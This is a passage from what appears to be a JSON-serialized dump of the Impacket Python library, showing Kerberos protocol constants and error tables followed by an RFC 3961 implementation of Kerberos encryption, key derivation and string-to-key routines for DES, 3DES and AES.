# Service key not available\n    KRB_AP_ERR_MUT_FAIL                         = 46  # Mutual authentication\n                                                      # failed\n    KRB_AP_ERR_BADDIRECTION                     = 47  # Incorrect message direction\n    KRB_AP_ERR_METHOD                           = 48  # Alternative authentication\n                                                      # method required\n    KRB_AP_ERR_BADSEQ                           = 49  # Incorrect sequence number\n                                                      # in message\n    KRB_AP_ERR_INAPP_CKSUM                      = 50  # Inappropriate type of\n                                                      # checksum in message\n    KRB_AP_PATH_NOT_ACCEPTED                    = 51  # Policy rejects transited\n                                                      # path\n    KRB_ERR_RESPONSE_TOO_BIG                    = 52  # Response too big for UDP;\n                                                      # retry with TCP\n    KRB_ERR_GENERIC                             = 60  # Generic error (description\n                                                      # in e-text)\n    KRB_ERR_FIELD_TOOLONG                       = 61  # Field is too long for this\n                                                      # implementation\n    KDC_ERROR_CLIENT_NOT_TRUSTED                = 62  # Reserved for PKINIT\n    KDC_ERROR_KDC_NOT_TRUSTED                   = 63  # Reserved for PKINIT\n    KDC_ERROR_INVALID_SIG                       = 64  # Reserved for PKINIT\n    KDC_ERR_KEY_TOO_WEAK                        = 65  # Reserved for PKINIT\n    KDC_ERR_CERTIFICATE_MISMATCH                = 66  # Reserved for PKINIT\n    KRB_AP_ERR_NO_TGT                           = 67  # No TGT available to\n                                                      # validate USER-TO-USER\n    KDC_ERR_WRONG_REALM                         = 68  # Reserved for future use\n    KRB_AP_ERR_USER_TO_USER_REQUIRED            = 69  # Ticket must be for\n                                                      # USER-TO-USER\n    KDC_ERR_CANT_VERIFY_CERTIFICATE             = 70  # Reserved for PKINIT\n    KDC_ERR_INVALID_CERTIFICATE                 = 71  # Reserved for PKINIT\n    KDC_ERR_REVOKED_CERTIFICATE                 = 72  # Reserved for PKINIT\n    KDC_ERR_REVOCATION_STATUS_UNKNOWN           = 73  # Reserved for PKINIT\n    KDC_ERR_REVOCATION_STATUS_UNAVAILABLE       = 74  # Reserved for PKINIT\n    KDC_ERR_CLIENT_NAME_MISMATCH                = 75  # Reserved for PKINIT\n    KDC_ERR_KDC_NAME_MISMATCH                   = 76  # Reserved for PKINIT\n    KDC_ERR_INCONSISTENT_KEY_PURPOSE            = 77  # Reserved for PKINIT\n    KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED         = 78  # Reserved for PKINIT\n    KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED        = 79  # Reserved for PKINIT\n    KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED  = 80  # Reserved for PKINIT\n    KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED = 81  # Reserved for PKINIT\n    KDC_ERR_PREAUTH_EXPIRED                     = 90  # Pre-authentication has expired\n    KDC_ERR_MORE_PREAUTH_DATA_REQUIRED          = 91  # Additional pre-authentication data is required\n    KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET      = 92  # KDC cannot accommodate requested pre-authentication data element\n    KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS       = 93  # Reserved for PKINIT\n \nERROR_MESSAGES = {\n    0  : ('KDC_ERR_NONE', 'No error'),\n    1  : ('KDC_ERR_NAME_EXP', 'Client\\'s entry in database has expired'),\n    2  : ('KDC_ERR_SERVICE_EXP', 'Server\\'s entry in database has expired'),\n    3  : ('KDC_ERR_BAD_PVNO', 'Requested protocol version number not supported'),\n    4  : ('KDC_ERR_C_OLD_MAST_KVNO', 'Client\\'s key encrypted in old master key'),\n    5  : ('KDC_ERR_S_OLD_MAST_KVNO', 'Server\\'s key encrypted in old master key'),\n    6  : ('KDC_ERR_C_PRINCIPAL_UNKNOWN', 'Client not found in Kerberos database'),\n    7  : ('KDC_ERR_S_PRINCIPAL_UNKNOWN', 'Server not found in Kerberos database'),\n    8  : ('KDC_ERR_PRINCIPAL_NOT_UNIQUE', 'Multiple principal entries in database'),\n    9  : ('KDC_ERR_NULL_KEY', 'The client or server has a null key'),\n    10 : ('KDC_ERR_CANNOT_POSTDATE', 'Ticket not eligible for postdating'),\n    11 : ('KDC_ERR_NEVER_VALID', 'Requested starttime is later than end time'),\n    12 : ('KDC_ERR_POLICY', 'KDC policy rejects request'),\n    13 : ('KDC_ERR_BADOPTION', 'KDC cannot accommodate requested option'),\n    14 : ('KDC_ERR_ETYPE_NOSUPP', 'KDC has no support for encryption type'),\n    15 : ('KDC_ERR_SUMTYPE_NOSUPP', 'KDC has no support for checksum type'),\n    16 : ('KDC_ERR_PADATA_TYPE_NOSUPP', 'KDC has no support for padata type'),\n    17 : ('KDC_ERR_TRTYPE_NOSUPP', 'KDC has no support for transited type'),\n    18 : ('KDC_ERR_CLIENT_REVOKED', 'Clients credentials have been revoked'),\n    19 : ('KDC_ERR_SERVICE_REVOKED', 'Credentials for server have been revoked'),\n    20 : ('KDC_ERR_TGT_REVOKED', 'TGT has been revoked'),\n    21 : ('KDC_ERR_CLIENT_NOTYET', 'Client not yet valid; try again later'),\n    22 : ('KDC_ERR_SERVICE_NOTYET', 'Server not yet valid; try again later'),\n    23 : ('KDC_ERR_KEY_EXPIRED', 'Password has expired; change password to reset'),\n    24 : ('KDC_ERR_PREAUTH_FAILED', 'Pre-authentication information was invalid'),\n    25 : ('KDC_ERR_PREAUTH_REQUIRED', 'Additional pre-authentication required'),\n    26 : ('KDC_ERR_SERVER_NOMATCH', 'Requested server and ticket don\\'t match'),\n    27 : ('KDC_ERR_MUST_USE_USER2USER', 'Server principal valid for user2user only'),\n    28 : ('KDC_ERR_PATH_NOT_ACCEPTED', 'KDC Policy rejects transited path'),\n    29 : ('KDC_ERR_SVC_UNAVAILABLE', 'A service is not available'),\n    31 : ('KRB_AP_ERR_BAD_INTEGRITY', 'Integrity check on decrypted field failed'),\n    32 : ('KRB_AP_ERR_TKT_EXPIRED', 'Ticket expired'),\n    33 : ('KRB_AP_ERR_TKT_NYV', 'Ticket not yet valid'),\n    34 : ('KRB_AP_ERR_REPEAT', 'Request is a replay'),\n    35 : ('KRB_AP_ERR_NOT_US', 'The ticket isn\\'t for us'),\n    36 : ('KRB_AP_ERR_BADMATCH', 'Ticket and authenticator don\\'t match'),\n    37 : ('KRB_AP_ERR_SKEW', 'Clock skew too great'),\n    38 : ('KRB_AP_ERR_BADADDR', 'Incorrect net address'),\n    39 : ('KRB_AP_ERR_BADVERSION', 'Protocol version mismatch'),\n    40 : ('KRB_AP_ERR_MSG_TYPE', 'Invalid msg type'),\n    41 : ('KRB_AP_ERR_MODIFIED', 'Message stream modified'),\n    42 : ('KRB_AP_ERR_BADORDER', 'Message out of order'),\n    44 : ('KRB_AP_ERR_BADKEYVER', 'Specified version of key is not available'),\n    45 : ('KRB_AP_ERR_NOKEY', 'Service key not available'),\n    46 : ('KRB_AP_ERR_MUT_FAIL', 'Mutual authentication failed'),\n    47 : ('KRB_AP_ERR_BADDIRECTION', 'Incorrect message direction'),\n    48 : ('KRB_AP_ERR_METHOD', 'Alternative authentication method required'),\n    49 : ('KRB_AP_ERR_BADSEQ', 'Incorrect sequence number in message'),\n    50 : ('KRB_AP_ERR_INAPP_CKSUM', 'Inappropriate type of checksum in message'),\n    51 : ('KRB_AP_PATH_NOT_ACCEPTED', 'Policy rejects transited path'),\n    52 : ('KRB_ERR_RESPONSE_TOO_BIG', 'Response too big for UDP; retry with TCP'),\n    60 : ('KRB_ERR_GENERIC', 'Generic error (description in e-text)'),\n    61 : ('KRB_ERR_FIELD_TOOLONG', 'Field is too long for this implementation'),\n    62 : ('KDC_ERROR_CLIENT_NOT_TRUSTED', 'Reserved for PKINIT'),\n    63 : ('KDC_ERROR_KDC_NOT_TRUSTED', 'Reserved for PKINIT'),\n    64 : ('KDC_ERROR_INVALID_SIG', 'Reserved for PKINIT'),\n    65 : ('KDC_ERR_KEY_TOO_WEAK', 'Reserved for PKINIT'),\n    66 : ('KDC_ERR_CERTIFICATE_MISMATCH', 'Reserved for PKINIT'),\n    67 : ('KRB_AP_ERR_NO_TGT', 'No TGT available to validate USER-TO-USER'),\n    68 : ('KDC_ERR_WRONG_REALM', 'Reserved for future use'),\n    69 : ('KRB_AP_ERR_USER_TO_USER_REQUIRED', 'Ticket must be for USER-TO-USER'),\n    70 : ('KDC_ERR_CANT_VERIFY_CERTIFICATE', 'Reserved for PKINIT'),\n    71 : ('KDC_ERR_INVALID_CERTIFICATE', 'Reserved for PKINIT'),\n    72 : ('KDC_ERR_REVOKED_CERTIFICATE', 'Reserved for PKINIT'),\n    73 : ('KDC_ERR_REVOCATION_STATUS_UNKNOWN', 'Reserved for PKINIT'),\n    74 : ('KDC_ERR_REVOCATION_STATUS_UNAVAILABLE', 'Reserved for PKINIT'),\n    75 : ('KDC_ERR_CLIENT_NAME_MISMATCH', 'Reserved for PKINIT'),\n    76 : ('KDC_ERR_KDC_NAME_MISMATCH', 'Reserved for PKINIT'),\n    77 : ('KDC_ERR_INCONSISTENT_KEY_PURPOSE', 'Certificate cannot be used for PKINIT client authentication'),\n    78 : ('KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED', 'Digest algorithm for the public key in the certificate is not acceptable by the KDC'),\n    79 : ('KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED', 'The paChecksum filed in the request is not present'),\n    80 : ('KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED', 'The digest algorithm used by the id-pkinit-authData is not acceptable by the KDC'),\n    81 : ('KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED', 'The KDC does not support the public key encryption key delivery method'),\n    90 : ('KDC_ERR_PREAUTH_EXPIRED', 'Pre-authentication has expired'),\n    91 : ('KDC_ERR_MORE_PREAUTH_DATA_REQUIRED', 'Additional pre-authentication data is required'),\n    92 : ('KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET', 'KDC cannot accommodate requested pre-authentication data element'),\n    93 : ('KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS', 'Unknown critical option'),\n}\n \nclass TicketFlags(Enum):\n    reserved                 = 0\n    forwardable              = 1\n    forwarded                = 2\n    proxiable                = 3\n    proxy                    = 4\n    may_postdate             = 5\n    postdated                = 6\n    invalid                  = 7\n    renewable                = 8\n    initial                  = 9\n    pre_authent              = 10\n    hw_authent               = 11\n    transited_policy_checked = 12\n    ok_as_delegate           = 13\n    enc_pa_rep               = 15\n    anonymous                = 16\n\nclass KDCOptions(Enum):\n    reserved                = 0\n    forwardable             = 1\n    forwarded               = 2\n    proxiable               = 3\n    proxy                   = 4\n    allow_postdate          = 5\n    postdated               = 6\n    unused7                 = 7\n    renewable               = 8\n    unused9                 = 9\n    unused10                = 10\n    opt_hardware_auth       = 11\n    unused12                = 12\n    unused13                = 13\n    cname_in_addl_tkt       = 14\n    canonicalize            = 15\n    disable_transited_check = 26\n    renewable_ok            = 27\n    enc_tkt_in_skey         = 28\n    renew                   = 30\n    validate                = 31\n\nclass APOptions(Enum):\n    reserved        = 0\n    use_session_key = 1\n    mutual_required = 2\n\nclass PAPacOptions(Enum):\n    # [MS-KILE] 2.2.10\n    claims                                = 0\n    branch_aware                          = 1\n    forward_to_full_dc                    = 2\n    # [MS-SFU] 2.2.5\n    resource_based_constrained_delegation = 3\n\nclass EncryptionTypes(Enum):\n    des_cbc_crc                  = 1\n    des_cbc_md4                  = 2\n    des_cbc_md5                  = 3\n    _reserved_4                  = 4\n    des3_cbc_md5                 = 5\n    _reserved_6                  = 6\n    des3_cbc_sha1                = 7\n    dsaWithSHA1_CmsOID           = 9\n    md5WithRSAEncryption_CmsOID  = 10\n    sha1WithRSAEncryption_CmsOID = 11\n    rc2CBC_EnvOID                = 12\n    rsaEncryption_EnvOID         = 13\n    rsaES_OAEP_ENV_OID           = 14\n    des_ede3_cbc_Env_OID         = 15\n    des3_cbc_sha1_kd             = 16\n    aes128_cts_hmac_sha1_96      = 17\n    aes256_cts_hmac_sha1_96      = 18\n    rc4_hmac                     = 23\n    rc4_hmac_exp                 = 24\n    subkey_keymaterial           = 65\n    rc4_hmac_old_exp             = -135\n\nclass ChecksumTypes(Enum):\n    rsa_md5_des       = 8\n    rsa_md4_des       = 4\n    hmac_md5          = -138\n    hmac_sha1_des3_kd = 12\n    hmac_sha1_96_aes128 = 15\n    hmac_sha1_96_aes256 = 16\n"
  },
  {
    "path": "impacket/krb5/crypto.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Copyright and license note from crypto.py:\n#\n# Copyright (C) 2013 by the Massachusetts Institute of Technology.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n#   notice, this list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright\n#   notice, this list of conditions and the following disclaimer in\n#   the documentation and/or other materials provided with the\n#   distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n# OF THE POSSIBILITY OF SUCH DAMAGE.\n#\nfrom binascii import hexlify, unhexlify\nfrom functools import reduce\nfrom os import urandom\n# XXX current status:\n# * Done and tested\n#   - AES encryption, checksum, string2key, prf\n#   - cf2 (needed for FAST)\n# * Still to do:\n#   - DES enctypes and cksumtypes\n#   - RC4 exported enctype (if we need it for anything)\n#   - Unkeyed checksums\n#   - Special RC4, raw DES/DES3 operations for GSSAPI\n# * Difficult or low priority:\n#   - Camellia not supported by PyCrypto\n#   - Cipher state only needed for kcmd suite\n#   - Nonstandard enctypes and cksumtypes like des-hmac-sha1\nfrom struct import pack, unpack\n\nfrom Cryptodome.Cipher import AES, DES3, ARC4, DES\nfrom Cryptodome.Hash import HMAC, MD4, MD5, SHA\nfrom Cryptodome.Protocol.KDF import PBKDF2\nfrom Cryptodome.Util.number import GCD as gcd\nfrom six import b, PY3, indexbytes, binary_type\nfrom impacket.krb5 import constants\nimport logging\n\ndef get_random_bytes(lenBytes):\n    # We don't really need super strong randomness here to use PyCrypto.Random\n    return urandom(lenBytes)\n\nclass Enctype(object):\n    DES_CRC = 1\n    DES_MD4 = 2\n    DES_MD5 = 3\n    DES3 = 16\n    AES128 = 17\n    AES256 = 18\n    RC4 = 23\n\n\nclass Cksumtype(object):\n    CRC32 = 1\n    MD4 = 2\n    MD4_DES = 3\n    MD5 = 7\n    MD5_DES = 8\n    SHA1 = 9\n    SHA1_DES3 = 12\n    SHA1_AES128 = 15\n    SHA1_AES256 = 16\n    HMAC_MD5 = -138\n\n\nclass InvalidChecksum(ValueError):\n    pass\n\n\ndef _zeropad(s, padsize):\n    # Return s padded with 0 bytes to a multiple of padsize.\n    padlen = (padsize - (len(s) % padsize)) % padsize\n    return s + b'\\0'*padlen\n\n\ndef _xorbytes(b1, b2):\n    # xor two strings together and return the resulting string.\n    assert len(b1) == len(b2)\n    return bytearray((x ^ y) for x, y in zip(b1, b2))\n\n\ndef _mac_equal(mac1, mac2):\n    # Constant-time comparison function.  (We can't use HMAC.verify\n    # since we use truncated macs.)\n    assert len(mac1) == len(mac2)\n    res = 0\n    for x, y in zip(mac1, mac2):\n        res |= x ^ y\n    return res == 0\n\n\ndef _nfold(ba, nbytes):\n    # Convert bytearray to a string of length nbytes using the RFC 3961 nfold\n    # operation.\n\n    # Rotate the bytes in ba to the right by nbits bits.\n    def rotate_right(ba, nbits):\n        ba = bytearray(ba)\n        nbytes, remain = (nbits//8) % len(ba), nbits % 8\n        return bytearray((ba[i-nbytes] >> remain) | ((ba[i-nbytes-1] << (8-remain)) & 0xff) for i in range(len(ba)))\n\n    # Add equal-length strings together with end-around carry.\n    def add_ones_complement(str1, str2):\n        n = len(str1)\n        v = [a + b for a, b in zip(str1, str2)]\n        # Propagate carry bits to the left until there aren't any left.\n        while any(x & ~0xff for x in v):\n            v = [(v[i-n+1]>>8) + (v[i]&0xff) for i in range(n)]\n        return bytearray(x for x in v)\n\n    # Concatenate copies of str to produce the least common multiple\n    # of len(str) and nbytes, rotating each copy of str to the right\n    # by 13 bits times its list position.  Decompose the concatenation\n    # into slices of length nbytes, and add them together as\n    # big-endian ones' complement integers.\n    slen = len(ba)\n    lcm = nbytes * slen // gcd(nbytes, slen)\n    bigstr = bytearray()\n    for i in range(lcm//slen):\n        bigstr += rotate_right(ba, 13 * i)\n    slices = (bigstr[p:p+nbytes] for p in range(0, lcm, nbytes))\n    return bytes(reduce(add_ones_complement, slices))\n\n\ndef _is_weak_des_key(keybytes):\n    return keybytes in (b'\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01',\n                        b'\\xFE\\xFE\\xFE\\xFE\\xFE\\xFE\\xFE\\xFE',\n                        b'\\x1F\\x1F\\x1F\\x1F\\x0E\\x0E\\x0E\\x0E',\n                        b'\\xE0\\xE0\\xE0\\xE0\\xF1\\xF1\\xF1\\xF1',\n                        b'\\x01\\xFE\\x01\\xFE\\x01\\xFE\\x01\\xFE',\n                        b'\\xFE\\x01\\xFE\\x01\\xFE\\x01\\xFE\\x01',\n                        b'\\x1F\\xE0\\x1F\\xE0\\x0E\\xF1\\x0E\\xF1',\n                        b'\\xE0\\x1F\\xE0\\x1F\\xF1\\x0E\\xF1\\x0E',\n                        b'\\x01\\xE0\\x01\\xE0\\x01\\xF1\\x01\\xF1',\n                        b'\\xE0\\x01\\xE0\\x01\\xF1\\x01\\xF1\\x01',\n                        b'\\x1F\\xFE\\x1F\\xFE\\x0E\\xFE\\x0E\\xFE',\n                        b'\\xFE\\x1F\\xFE\\x1F\\xFE\\x0E\\xFE\\x0E',\n                        b'\\x01\\x1F\\x01\\x1F\\x01\\x0E\\x01\\x0E',\n                        b'\\x1F\\x01\\x1F\\x01\\x0E\\x01\\x0E\\x01',\n                        b'\\xE0\\xFE\\xE0\\xFE\\xF1\\xFE\\xF1\\xFE',\n                        b'\\xFE\\xE0\\xFE\\xE0\\xFE\\xF1\\xFE\\xF1')\n\n\nclass _EnctypeProfile(object):\n    # Base class for enctype profiles.  Usable enctype classes must define:\n    #   * enctype: enctype number\n    #   * keysize: protocol size of key in bytes\n    #   * seedsize: random_to_key input size in bytes\n    #   * random_to_key (if the keyspace is not dense)\n    #   * string_to_key\n    #   * encrypt\n    #   * decrypt\n    #   * prf\n\n    @classmethod\n    def random_to_key(cls, seed):\n        if len(seed) != cls.seedsize:\n            raise ValueError('Wrong seed length')\n        return Key(cls.enctype, seed)\n\n\nclass _SimplifiedEnctype(_EnctypeProfile):\n    # Base class for enctypes using the RFC 3961 simplified profile.\n    # Defines the encrypt, decrypt, and prf methods.  Subclasses must\n    # define:\n    #   * blocksize: Underlying cipher block size in bytes\n    #   * padsize: Underlying cipher padding multiple (1 or blocksize)\n    #   * macsize: Size of integrity MAC in bytes\n    #   * hashmod: PyCrypto hash module for underlying hash function\n    #   * basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher\n\n    @classmethod\n    def derive(cls, key, constant):\n        # RFC 3961 only says to n-fold the constant only if it is\n        # shorter than the cipher block size.  But all Unix\n        # implementations n-fold constants if their length is larger\n        # than the block size as well, and n-folding when the length\n        # is equal to the block size is a no-op.\n        plaintext = _nfold(constant, cls.blocksize)\n        rndseed = b''\n        while len(rndseed) < cls.seedsize:\n            ciphertext = cls.basic_encrypt(key, plaintext)\n            rndseed += ciphertext\n            plaintext = ciphertext\n        return cls.random_to_key(rndseed[0:cls.seedsize])\n\n    @classmethod\n    def encrypt(cls, key, keyusage, plaintext, confounder):\n        ki = cls.derive(key, pack('>IB', keyusage, 0x55))\n        ke = cls.derive(key, pack('>IB', keyusage, 0xAA))\n        if confounder is None:\n            confounder = get_random_bytes(cls.blocksize)\n        basic_plaintext = confounder + _zeropad(plaintext, cls.padsize)\n        hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest()\n        return cls.basic_encrypt(ke, basic_plaintext) + hmac[:cls.macsize]\n\n    @classmethod\n    def decrypt(cls, key, keyusage, ciphertext):\n        ki = cls.derive(key, pack('>IB', keyusage, 0x55))\n        ke = cls.derive(key, pack('>IB', keyusage, 0xAA))\n        if len(ciphertext) < cls.blocksize + cls.macsize:\n            raise ValueError('ciphertext too short')\n        basic_ctext, mac = bytearray(ciphertext[:-cls.macsize]), bytearray(ciphertext[-cls.macsize:])\n        if len(basic_ctext) % cls.padsize != 0:\n            raise ValueError('ciphertext does not meet padding requirement')\n        basic_plaintext = cls.basic_decrypt(ke, bytes(basic_ctext))\n        hmac = bytearray(HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest())\n        expmac = hmac[:cls.macsize]\n        if not _mac_equal(mac, expmac):\n            raise InvalidChecksum('ciphertext integrity failure')\n        # Discard the confounder.\n        return bytes(basic_plaintext[cls.blocksize:])\n\n    @classmethod\n    def prf(cls, key, string):\n        # Hash the input.  RFC 3961 says to truncate to the padding\n        # size, but implementations truncate to the block size.\n        hashval = cls.hashmod.new(string).digest()\n        truncated = hashval[:-(len(hashval) % cls.blocksize)]\n        # Encrypt the hash with a derived key.\n        kp = cls.derive(key, b'prf')\n        return cls.basic_encrypt(kp, truncated)\n\nclass _DESCBC(_SimplifiedEnctype):\n    enctype = Enctype.DES_MD5\n    keysize = 8\n    seedsize = 8\n    blocksize = 8\n    padsize = 8\n    macsize = 16\n    hashmod = MD5\n\n    @classmethod\n    def encrypt(cls, key, keyusage, plaintext, confounder):\n        if confounder is None:\n            confounder = get_random_bytes(cls.blocksize)\n        basic_plaintext = confounder + b'\\x00'*cls.macsize + _zeropad(plaintext, cls.padsize)\n        checksum = cls.hashmod.new(basic_plaintext).digest()\n        basic_plaintext = basic_plaintext[:len(confounder)] + checksum + basic_plaintext[len(confounder)+len(checksum):]\n        return cls.basic_encrypt(key, basic_plaintext)\n        \n        \n    @classmethod\n    def decrypt(cls, key, keyusage, ciphertext):\n        if len(ciphertext) < cls.blocksize + cls.macsize:\n            raise ValueError('ciphertext too short')\n        \n        complex_plaintext = cls.basic_decrypt(key, ciphertext)\n        cofounder = complex_plaintext[:cls.padsize]\n        mac = complex_plaintext[cls.padsize:cls.padsize+cls.macsize]\n        message = complex_plaintext[cls.padsize+cls.macsize:]\n        \n        expmac = cls.hashmod.new(cofounder+b'\\x00'*cls.macsize+message).digest()\n        if not _mac_equal(mac, expmac):\n            raise InvalidChecksum('ciphertext integrity failure')\n        return bytes(message)\n    \n    @classmethod\n    def mit_des_string_to_key(cls,string,salt):\n    \n        def fixparity(deskey):\n            temp = b''\n            for i in range(len(deskey)):\n                t = (bin(indexbytes(deskey,i))[2:]).rjust(8,'0')\n                if t[:7].count('1') %2 == 0:\n                    temp+= b(chr(int(t[:7]+'1',2)))\n                else:\n                    temp+= b(chr(int(t[:7]+'0',2)))\n            return temp\n    \n        def addparity(l1):\n            temp = list()\n            for byte in l1:\n                if (bin(byte).count('1') % 2) == 0:\n                    byte = (byte << 1)|0b00000001\n                else:\n                    byte = (byte << 1)&0b11111110\n                temp.append(byte)\n            return temp\n        \n        def XOR(l1,l2):\n            temp = list()\n            for b1,b2 in zip(l1,l2):\n                temp.append((b1^b2)&0b01111111)\n            \n            return temp\n        \n        odd = True\n        tempstring = [0,0,0,0,0,0,0,0]\n        s = _zeropad(string + salt, cls.padsize)\n\n        for block in [s[i:i+8] for i in range(0, len(s), 8)]:\n            temp56 = list()\n            #removeMSBits\n            for byte in block:\n                if PY3:\n                    temp56.append(byte&0b01111111)\n                else:\n                    temp56.append(ord(byte)&0b01111111)\n            \n            #reverse\n            if odd is False:\n                bintemp = b''\n                for byte in temp56:\n                    bintemp += b(bin(byte)[2:].rjust(7,'0'))\n                bintemp = bintemp[::-1]\n                \n                temp56 = list()\n                for bits7 in [bintemp[i:i+7] for i in range(0, len(bintemp), 7)]:\n                    temp56.append(int(bits7,2))\n\n            odd = not odd\n                \n            tempstring = XOR(tempstring,temp56)\n        \n        tempkey = ''.join(chr(byte) for byte in addparity(tempstring))\n        if _is_weak_des_key(tempkey):\n            tempkey[7] = chr(ord(tempkey[7]) ^ 0xF0)\n\n        cipher = DES.new(b(tempkey), DES.MODE_CBC, b(tempkey))\n        checksumkey = cipher.encrypt(s)[-8:]\n        checksumkey = fixparity(checksumkey)\n        if _is_weak_des_key(checksumkey):\n            checksumkey[7] = chr(ord(checksumkey[7]) ^ 0xF0)\n        \n        return Key(cls.enctype, checksumkey)\n\n    @classmethod\n    def basic_encrypt(cls, key, plaintext):\n        assert len(plaintext) % 8 == 0\n        des = DES.new(key.contents, DES.MODE_CBC, b'\\0' * 8)\n        return des.encrypt(bytes(plaintext))\n\n    @classmethod\n    def basic_decrypt(cls, key, ciphertext):\n        assert len(ciphertext) % 8 == 0\n        des = DES.new(key.contents, DES.MODE_CBC, b'\\0' * 8)\n        return des.decrypt(bytes(ciphertext))\n    \n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        if params is not None and params != b'':\n            raise ValueError('Invalid DES string-to-key parameters')\n        if not isinstance(string, binary_type):\n            string = string.encode(\"utf-8\")\n        if not isinstance(salt, binary_type):\n            salt = salt.encode(\"utf-8\")\n\n        key = cls.mit_des_string_to_key(string, salt)\n        return key\n    \n    \n\nclass _DES3CBC(_SimplifiedEnctype):\n    enctype = Enctype.DES3\n    keysize = 24\n    seedsize = 21\n    blocksize = 8\n    padsize = 8\n    macsize = 20\n    hashmod = SHA\n\n    @classmethod\n    def random_to_key(cls, seed):\n        # XXX Maybe reframe as _DESEnctype.random_to_key and use that\n        # way from DES3 random-to-key when DES is implemented, since\n        # MIT does this instead of the RFC 3961 random-to-key.\n        def expand(seed):\n            def parity(b):\n                # Return b with the low-order bit set to yield odd parity.\n                b &= ~1\n                return b if bin(b & ~1).count('1') % 2 else b | 1\n            assert len(seed) == 7\n            firstbytes = [parity(b & ~1) for b in seed]\n            lastbyte = parity(sum((seed[i]&1) << i+1 for i in range(7)))\n            keybytes= bytearray(firstbytes + [lastbyte])\n            if _is_weak_des_key(keybytes):\n                keybytes[7] = keybytes[7] ^ 0xF0\n            return bytes(keybytes)\n\n        seed = bytearray(seed)\n        if len(seed) != 21:\n            raise ValueError('Wrong seed length')\n        k1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:])\n        return Key(cls.enctype, k1 + k2 + k3)\n\n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        if params is not None and params != b'':\n            raise ValueError('Invalid DES3 string-to-key parameters')\n        if not isinstance(string, binary_type):\n            string = string.encode(\"utf-8\")\n        if not isinstance(salt, binary_type):\n            salt = salt.encode(\"utf-8\")\n\n        k = cls.random_to_key(_nfold(string + salt, 21))\n        return cls.derive(k, b'kerberos')\n\n    @classmethod\n    def basic_encrypt(cls, key, plaintext):\n        assert len(plaintext) % 8 == 0\n        des3 = DES3.new(key.contents, AES.MODE_CBC, b'\\0' * 8)\n        return des3.encrypt(bytes(plaintext))\n\n    @classmethod\n    def basic_decrypt(cls, key, ciphertext):\n        assert len(ciphertext) % 8 == 0\n        des3 = DES3.new(key.contents, AES.MODE_CBC, b'\\0' * 8)\n        return des3.decrypt(bytes(ciphertext))\n\n\nclass _AESEnctype(_SimplifiedEnctype):\n    # Base class for aes128-cts and aes256-cts.\n    blocksize = 16\n    padsize = 1\n    macsize = 12\n    hashmod = SHA\n\n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        if not isinstance(string, binary_type):\n            string = string.encode(\"utf-8\")\n        if not isinstance(salt, binary_type):\n            salt = salt.encode(\"utf-8\")\n\n        (iterations,) = unpack('>L', params or b'\\x00\\x00\\x10\\x00')\n        prf = lambda p, s: HMAC.new(p, s, SHA).digest()\n        seed = PBKDF2(string, salt, cls.seedsize, iterations, prf)\n        tkey = cls.random_to_key(seed)\n        return cls.derive(tkey, b'kerberos')\n\n    @classmethod\n    def basic_encrypt(cls, key, plaintext):\n        assert len(plaintext) >= 16\n        aes = AES.new(key.contents, AES.MODE_CBC, b'\\0' * 16)\n        ctext = aes.encrypt(_zeropad(bytes(plaintext), 16))\n        if len(plaintext) > 16:\n            # Swap the last two ciphertext blocks and truncate the\n            # final block to match the plaintext length.\n            lastlen = len(plaintext) % 16 or 16\n            ctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen]\n        return ctext\n\n    @classmethod\n    def basic_decrypt(cls, key, ciphertext):\n        assert len(ciphertext) >= 16\n        aes = AES.new(key.contents, AES.MODE_ECB)\n        if len(ciphertext) == 16:\n            return aes.decrypt(ciphertext)\n        # Split the ciphertext into blocks.  The last block may be partial.\n        cblocks = [bytearray(ciphertext[p:p+16]) for p in range(0, len(ciphertext), 16)]\n        lastlen = len(cblocks[-1])\n        # CBC-decrypt all but the last two blocks.\n        prev_cblock = bytearray(16)\n        